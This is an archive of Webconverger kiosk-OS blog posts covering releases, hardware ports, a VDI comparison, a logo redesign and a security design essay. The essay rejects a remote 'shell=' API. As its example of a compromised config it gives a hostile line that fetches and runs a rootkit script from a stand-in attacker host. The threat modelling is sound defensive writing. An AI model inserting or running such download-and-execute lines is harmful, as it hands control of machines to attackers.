Archives

Two months ago was our momentous Jessie based Webconverger 30 release and since then we've:

https://github.com/webconverger/webc/compare/30.0...31.0 for details

Please download from http://dl.webconverger.com/latest.iso and follow the USB imaging guide to put it on a USB stick! The sha1sum is 4032c86eefdcbcb3486f7e00661d1f9920fffdf7.

What next?

We could really do with your feedback, help & support on a couple of goals for the next release:

If you can't code or have the time to, please purchase a subscription!

Other hardware news

Managed to integrate the EETI eGalaxTouch driver for some models of resistive touchscreens. It works well as your can see by this touch screen demo video and it's typically deployed in Point of Sales in retail. Unfortunately the driver is in a private branch since the End User of License is very limited and a good case study of how not to write a license. Please enquire to know more.

Recently obtained a ~130 USD Intel NUC NUC5CPYH and it works well as our single take NUC video shows. We have recommended this neat PC form factor before and thankfully they are getting better and cheaper.

Posted Thu Jul 30 06:59:01 2015

tl;dr Webconverger's current security model of enabling features through limited APIs is actually the right way to do it.

New functionality in Webconverger, means new APIs to control them. Since I can be too lazy to design an API, I've often thought about offering a shell API.

For example:

shell=https://example.com/hello.sh

Which downloads and executes the script. Analogous to curl https://example.com/hello.sh | sh "anti-pattern".

The pro with the shell API is that we can now create scripts on the fly, and so could clients to toggle some functionality like:

  • Copying in a style sheet and overriding style
  • Downloading service files and enabling / starting them (e.g. for motion detection hardware)
  • Installing some special driver or configuring xinputs
  • Tweaking wpa_supplicant@wlan0.service with wext for older wlan interfaces
  • Overriding SSL warnings or preloading internal SSL certificates
  • Probably most importantly: Freedom to create your own API!

So we can implement new functionality as clients needed them, without Webconverger requiring an reboot and upgrade!

BUT A SHELL API IS NOT SECURE

HTTP Secure doesn't help. Just imagine if someone managed to compromise https://config.webconverger.com. Every config could get an extra line:

shell=https://iamahacker.s3.amazonaws.com/rootkit.sh

Own4ge! 1000s of Webconverger machines could become zombies.

What about CODE SIGNING?

We could employ code signing on the shell API. I.e. before executing rootkit.sh, we also download rootkit.sh.gpg to check it's signed by someone trusted.

But who is going to be trusted? Ultimately, the Webconverger developer makes most sense. However this extra layer of security FAILs if the hacker managed to get the developers laptop where both GPG (for code signing) and SSH key (for config.webconverger.com git control) lies.

Too risky. Too much power in one place.

Lets get practical and think about security issues by:

  1. The speed in which they take to fix (how much downtime will there be?)
  2. The speed in which they take to detect (can we actually tell there is malicious code at play?)
  3. The impact of the security issue (will clients lose data or hardware?)
  4. The worst possible action customer needs to take (what does a client have to do?)

The shell= API would score:

  1. Once the machine is compromised, it can't be fixed remotely
  2. We probably cannot tell a machine has been compromised
  3. The entire machine will effectively be lost to the hacker. Completely owned.
  4. The client would have to re-install (which doesn't take long mind)

Back to the status quo

The reason that the APIs exist is to protect the Webconverger system from being permanently compromised. The APIs also offer crucially:

  • idempotency
  • safety from permanently damaging the system
  • they are tested before bring rolled out

So even in the case where https://config.webconverger.com/ is totally compromised. What's the WORST possible outcome?

What currently are the WORST POSSIBLE SCENARIOS?

Today the worst possible scenarios for Webconverger clients controlled by a compromised https://config.webconverger.com/ are:

homepage= is changed to point to some offensive site

As soon as the compromise was realised, restoring config.webconverger.com is as simple as cloning a git repository onto a Web host that the DNS dig +short config.webconverger.com points to. The DNS record's TTL for config.webconverger.com is 60 seconds. DNS is hosted at Route 53 and the Registration is currently with Dreamhost, both are protected by 2 factor authentication.

The point is, config.webconverger.com can be restored very quickly if compromised. So the "hacked configuration" with the offensive site can be mitigated quickly.

Denial of service

A cronjob, for example rebooting Webconverger every minute would lead to denial of service. Again this can be mitigated quickly since config.webconverger.com is completely managed in source control is designed to be easily restored. However the client would need to be rebooted.

Browser sessions are not cleared between users

The "noclean" API means that Webconverger would not delete the ~/.mozilla directory between sessions. This could jeopardise users privacy local to the machine, as cookies etc would be shared amongst sessions. Again, once this discovered, it is very quickly rectified by effectively a reboot.

Our current API design served by https://config.webconverger.com/ would score:

  1. Usually this would just require a reboot, but in the homepage= case with instantupdate, it could be quicker
  2. We have a git log of all the configuration changes, so we can tell if something is amiss
  3. The worst possible case is noclean mode, described above, which isn't nearly as bad as shell= potential of having root access
  4. Worst possible case with config.webconverger.com, the machine would require a manual reboot

Wait... what if the upgrade mechanism got compromised?

Now it's probably worth mentioning the elephant in the room. What happens if https://github.com/webconverger/webc got compromised? The impact could be very bad (root), however note that upgrades only happen at boot with install versions. So there is a natural delay. Next the speed in which we can detect and fix a piece of malicious code injected into our repository should be VERY QUICK. https://github.com/Webconverger/webc/commits/master is closely watched. Finally the worst possible outcome for a client is a re-install.

Keeping to the current slow API design

So, thanks the API's safety and the way config.webconverger.com is managed, these "worst possible" scenarios are far less risky, since they are severely limited, quickly and easily fixed by a reboot. The current security design is a LOT better than if the machine turned into a Zombie via a remote scripting interface like shell=!

The down side is that you need to request every new feature and we need to implement it as an API. It's more secure that way.

Posted Fri Jun 5 05:40:16 2015

As announced on twitter earlier this month, we achieved a significant technical accomplishment for Debian based derivatives doing the dreaded dist-upgrade.

A seamless upgrade. No config changes. No hoop jumping. No sweat. If you are running the install version that upgrades itself, you will now be based on Debian Jessie. The new "stable" major release of the underlying open Debian platform for Firefox that will be the basis for Webconverger for the next 3 years.

So we skipped version 29 and 30 marks the fact that we are on Debian Jessie 8.0. Hopefully the only difference you will notice is that this new release should run a bit better on newer hardware. There is an unfortunate caveat that if you are using a 486 kernel based Webconverger, your upgrade will not go smoothly. We noticed that most people using the 486 kernel were doing so mistakenly and we've asked the very few people that are affected, to please simply re-install with any version since 25. Usually you will find your machine to run better, since it's taking advantage of 686 multicore architecture. So yes, we are dropping 486 support.

The detailed changelog between 28.0 and 30.0 and of course this release includes the latest Firefox 38 at time of writing.

Many thanks to Matthijs Kooijman & Bizplay for helping realise this "no mean feat" of a release.

Notice a problem? Please let us know! Please download the new release from our CDN and the sha1sum is 9db8fb19bf63ab5d6b770f493bff825110d295c8. The webc-30.0 package list will show every package as being updated.

Posted Mon May 25 10:53:18 2015

On April 25th, we demoed and launched the Raspberry PI2 port of Webconverger at "Tech Saturday" with the following pricing:

Rpi2+Webconverger launch offer

The hardware is about 90SGD, making the software about 60SGD or 45USD. Which is about 22% cost of the PC pricing.

As a bundle and with TCO in the sense this software will be updated into the future, this is breakthrough pricing for getting into Web signage.

Webconverger is distributing the bundle in Singapore via 12geeks. This saves the hassle of following several installation steps involved in putting the software on a microSD card. If you're interested in the bundle, please get in touch with sales!

Posted Thu May 7 02:24:16 2015

28 booted up

2015 has been a busy year. New Android 5 and Raspberry PI2 ports give customers cheaper hardware deployment options. All these different device architectures managed consistently via https://config.webconverger.com/.

The PC x86 version however is our mainstay and this is our last release based on Debian Wheezy. Debian's stable platform lived up to its name. It has been rock solid. Thank you to the Debian project, its developers and users. The next version "jessie" should run better on new Intel hardware.

28.0's most exciting new feature is opted in with the instantupdate API option which allows you to change the homepage remotely for one or many of your devices in an instant. No reboot required! See the instantupdate demo. The technology behind this is Websockets and the service runs upon https://wss.webconverger.com/.

The detailed changelog between 27.1 and 28.0 otherwise shows a raft of security updates and minor bug fixes. If you are Live user, you really must update for the Flash fixes alone. For install users... you should have nothing to worry about. Do double check the version on about: in case something is amiss.. it's never a bad idea to re-install (it only takes a couple of minutes)!

Coming soon: A major update where we will upgrade from Debian codename wheezy to jessie smoothly. Work in our testing branch is well underway and we hope to release the next version of "stable" soon after Debian makes the switch.

The sha256sum is ce422a67f18b8fbf97303bf421c0010f7d8af87b0c09fd78b9c281dca5cb9cbb webc-28.0.iso, please download from our CDN, where we are playing with some AWS credits for this release.

Posted Thu Apr 23 02:59:26 2015

Webconverger is sometimes compared to "thin client" solutions like those offered by Enterprise heavyweights like Amazon, VMWARE and Citrix solutions. In reality they are in a different market sector called Virtual Desktop Infrastructure. Nonetheless, it's a good exercise to compare a Webconverger to VDI for analysis.

This is our biased view and we would love to hear your feedback.

Network fault tolerance

Offline

If Webconverger goes offline, tasks like form filling will still work. Once a form is submitted it will retry until completed. Truthfully offline Web apps aren't quite there yet, though they should get better in the near future with technologies such as service workers.

Typically when a network connection is lost VDI solutions are unusable. Furthermore in some solutions, if the "management server" goes down, this can be another single point of failure. Better VDI solutions can operate without a "management server" by caching its configuration. Webconverger actually also caches its configuration, in case https://config.webconverger.com/ goes down.

To summarise, Webconverger wins since it is more usable and will be even more usable in the future, offline.

Lag

Webconverger page loads will indeed suffer from a poor connection. However Web delivery is arguably "Internet grade" than typically LAN based "premise" VDI solutions where certain network assumptions are made and which will lag on the Internet. Once a Web application is loaded, it's very responsive and usable.

If your end to end network is managed by yourself, then this argument is probably moot, however this is increasingly rare as things move towards a more cost effective "cloud hosted" VDI.

Webconverger is powered by the Web and therefore is much more robust and usable on poor internet connections.

Scalability

VDI quickly advocate its solution as scalable. Webconverger has been specifically designed with an Internet connection in mind and will prove to be less of a burden on the network.

In summary Webconverger is very bandwidth efficient.

Control and management

An important component to "mass deployment" is control and management. With Webconverger you can streamline your business process by setting the default application even easier than you can with VDI solutions. Just update the homepage= URL, enter a password and any amount of machines attached to the configuration will have a new configuration applied on reboot.

However we do not allow administrators to monitor the exact screen of the end user as most VDI solutions do, for privacy reasons. Some Orwellian enterprises sadly require this invasive feature in order to be considered "enterprise grade".

To conclude, VDI has better controls, unless you care about end user privacy, and then you will want Webconverger.

Input & Output devices

Since Webconverger is limited to a Web browser for input and output for the end user, we are limited typically to abstracted Javascript APIs of:

  • keyboard
  • mouse
  • printers
  • touch screens
  • microphone
  • camera

Truthfully the microphone and camera access via getUserMedia APIs are variable, and it is unlikely to work well without careful consideration and testing of your hardware.

With VDI you typically have complete control of all input and outputs. So you can attach anything to your local device and you should be able to integrate it with your application as the vendor intended. Webconverger, or rather the browser currently is unable to support a range of devices like cash registers and smart cards which a lot of businesses rely upon. However there is usually an out of band (usually more expensive) alternative solution that can fulfill these use cases, such as logging in with 2 factor authentication or standalone electronic payment devices.

VDI wins here since it has better device control.

Legacy support for non-Web applications

Given a legacy (Windows) application, it's not reasonably possible to run that in a Web browser. This is definitely a strength of VDI solutions, as all sorts of odd legacy environments can be provisioned easily.

Webconverger is waiting for corporate infrastructure to migrate to SaaS and Web applications at that. The reasons to migrate to Web applications are several:

  • open an application to a greater Internet audience
  • leverage open standards
  • reduce complexity

Of course some apps just can't be migrated easily to the Web, like display or compute intensive applications. e.g. CAD/matlab

However when applications are indeed Web applications, the Web has a good track record of backwards compatibility. Often one reason enterprises are burdened with odd insecure legacy platforms, is due to broken upgrade paths.

VDI is a better technology for supporting non-Web platforms, though hopefully the Web can maybe one day support VDI in the browser, with projects like freerdp-webconnect which still has a long way to go.

Hardware requirements

Webconverger runs on any PC with 1GB of RAM. Also we recently started testing on lower cost Android 5.0 and ARM7 Raspberry PI2 devices.

Typically VDI solutions run on PCs on top of pre-installed Windows operating systems, making it a heavyweight stack. However there are dedicated "locked down" VDI "thin client" hardware which can be quite inexpensive. One negative point is that this hardware is often proprietary and there is some lock in. On the contrary system integrators are usually better geared to supplying VDI solutions, since currently to deploy Webconverger, you need to source the hardware yourself.

Over time browsers and the Web applications they host may ask for more and more memory, making the base Webconverger system slower and slower. VDI solutions like Amazon workspaces correctly argue their VDIs can be provisioned with more memory or CPU on the server side. We would like to argue any client hardware in our experience probably needs to be replaced every 5-10 years and that cycle basically keeps up with Web browser and application bloat in that time.

Security

This is a complicated topic (devil is in the details!), though overall the two approaches share a similar security model, where the application and data are remotely hosted and not local.

Webconverger's main security strength is that it's not susceptible to key loggers and screen grabbers like all Windows based thin client applications tend to be. The VDI on the server might be well managed, but usually the underlying non-dedicated clients are poorly locked down.

To summarise, assuming you are running Web applications in your business, the Webconverger system certainly has the edge. Webconverger offers a better user experience on a frequently unstable Internet, it's less complex and offers better security than the typical vulnerable thin client running on Windows.

Posted Wed Mar 11 09:12:57 2015

Example deployments of Webconverger on a Nexus 7

Android 5.0's new features such as screen pinning and managed provisioning, has now enabled Webconverger to make a port without too much fuss, instead of say building a ROM.

At the time of writing, the current release is beta software and we are looking for interested testers!

For Android Lollipop

Why Android? Pros:

  • Better touch screen experience
  • In future we should be able to leverage Android's native IMEs and easily support Korean, Japanese & Chinese inputs
  • Android hardware is generally cheaper than PC hardware
  • Android hardware is easier to deploy, especially in the DOOH use case. You could deploy on an ANDROID >=5.0 TV!
  • TODO: Android is a better platform for pushing configuration updates, by leveraging Google Cloud Messaging

Cons:

If you have an Android 5.0 (or above) device, check it out in the Play store. Thare are other Web kiosk apps in the Google play store, though they are not Opensource like our effort is. Futhermore now you can simply manage both Android and PC devices from our configuration service! That's a first!

Posted Mon Feb 9 05:18:02 2015
Posted Thu Feb 5 06:09:09 2015

27 has the new logo

Webconverger wishes you a Happy new year and gives the gift of a better Web experience! Highlights of 27.1:

27 has the freefont for Gujarati glyphs

Detailed changelog between 26 & 27.1.

The sha256sum is 9eb27578be2a4b846389a161197e1979e3d95c6a8724d62c5a2d0c175209b64c webc-27.1.iso, please download from our CDN.

Posted Mon Dec 22 05:53:57 2014

Back in 2007 a daisy flower was hastily chosen as Webconverger's logo to express simplicity. Over time it has found to be a little too generic and probably not reflective of our "enterprise" positioning in the PC software market. Therefore we commissioned http://www.hawkenking.com/ to update the logo to be a little more unique and serious looking.

Update rationale

The old formats of Webconverger's logo are:

The new logo is:

  1. The petal symbolises a configured machine, typically deployed via USB stick, hence the shape
  2. The detached petal, demonstrates machines can be easily detached and reattached. i.e. moved between configurations or even to leave Webconverger services altogether, since we actively protect customers from vendor lock in
  3. The centre symbolises a customer configuration, e.g. https://config.webconverger.com/client/[CUSTOMER_EMAIL]

The font used is https://www.myfonts.com/fonts/mti/neo-sans/.

The canonical location of the new logo is: https://webconverger.com/img/logo.svg

Incorporating Webconverger's new icon into the browser chrome

Currently users have no idea what kiosk software they are using. So with the logo embedded now a curious user can hover over the flower icon embedded into the top right of the {webconverger,webcnoaddressbar} chrome to see the tooltip Webconverger. They cannot interact with the icon and cannot click away to browse https://webconverger.com/ for example.

Hopefully our new symbol can give confidence to the user, that they are using a secure & privacy concious Web kiosk!

Posted Wed Oct 29 06:17:10 2014